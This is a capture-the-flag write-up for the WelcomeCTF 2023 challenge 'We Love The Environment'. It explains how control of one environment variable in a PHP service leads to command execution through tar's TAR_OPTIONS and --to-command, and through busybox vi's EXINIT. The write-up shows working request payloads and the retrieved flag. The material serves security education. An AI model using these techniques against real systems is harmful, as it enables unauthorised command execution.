We Love The Environment
In WelcomeCTF 2023, 500 points
We do not, however, love challenges with names like nlinephp
Challenge files: we-love-the-environment-dist.zip
Overview
The target service is a very simple PHP application:
<?php
if (!isset($_GET['prog']) || !isset($_GET['var']) || !isset($_GET['val'])) {
highlight_file(__FILE__);
die();
}
putenv($_GET['var'] . '=' . $_GET['val']);
passthru(escapeshellarg($_GET['prog']) . ' 2>&1');
The goal is to execute the /readflag
program with the GIVEFLAGPLS
argument.
We can set any environment variable we want, then execute any program we want. However, because of escapeshellarg
, we are unable to directly pass any arguments to the program we are executing. Therefore we are unable to directly execute /readflag GIVEFLAGPLS
.
Some stuff that didn't work
At first glance, this challenge appears similar to the Hello GreyCat challenges from GreyCTF 2022 finals. However, in that challenge, the program executed was fixed to echo
and the solution involved overriding the implementation of echo
to a custom bash
function. Unfortunately, in this case the service runs on Alpine Linux which uses ash
instead of bash
as its default shell, so we cannot introduce shell functions.
In Hello GreyCat Beta, the solution was to override the LD_PRELOAD
environment variable, but that approach requires file upload functionality which is not available here.
Approach 1: tar
After spinning up the service Docker container, I took a look at the commands that we can run:
Almost all of them were symlinked (blue) to /bin/busybox
. The only standalone binary in /bin
was tar
, which seemed quite promising as compression tools tend to have lots of unexpected functionality.
A Google search for "tar environment variables" yielded TAR_OPTIONS
, which is an environment variable that allows us to specify options to tar:
Now that we can pass arbitrary arguments to tar
, the only thing left is to find which arguments in tar
can execute commands. This turned out to be really simple using the perfectly named --to-command. When extracting a tar file, tar
will execute the program specified in --to-command
and pass the contents of the extracted file to the program.
The final piece of the puzzle was a tar file that we can make tar extract:
$ find / -name '*.tar'
/lib/apk/db/scripts.tar
Putting everything together, the final exploit payload is
http://34.87.186.254:22222/?
prog=tar&
var=TAR_OPTIONS&
val=--to-command '/readflag GIVEFLAGPLS' -x -f /lib/apk/db/scripts.tar
Approach 2: vi
After the CTF ended, the challenge author hinted that there was another possible solution that used /bin/busybox
.
I looked up the busybox source code on GitHub and searched for getenv
.
There were some interesting results, but nothing quite as obvious as --to-command
in tar.
However, vi.c seemed particularly interesting:
const char *exinit = getenv("EXINIT");
char *cmds = NULL;
if (exinit) {
cmds = xstrdup(exinit);
} else {
// ...
}
if (cmds) {
init_text_buffer(NULL);
run_cmds(cmds);
free(cmds);
}
A search for EXINIT
lead me to the ex
manpage
If the environment variable EXINIT is set, the editor shall execute the ex commands contained in that variable.
Very interesting!
Vi's command functionality is very powerful (according to CS1010) and even includes shell command execution features via :!command
. Let's test it out using EXINIT
:
$ EXINIT=':!ls' vi
bin dev flag lib media opt readflag run srv tmp var
core etc home ls mnt proc root sbin sys usr
[Hit return to continue]Segmentation fault (core dumped)
Hmm that seems to have worked, aside from the odd segfault at the end. Let's test it on the remote:
curl http://34.87.186.254:22222/?
prog=vi&
var=EXINIT&
val=:!/readflag GIVEFLAGPLS
[0;0H[Kgreyhats{I_doNT_l0vE_you_no_m0rE}
[7m[Hit return to continue][m[0;0H[Kvi: can't read user input
Interestingly, this method appears easier than the tar method. It is quite surprising the number of programs that will execute commands derived from environment variables.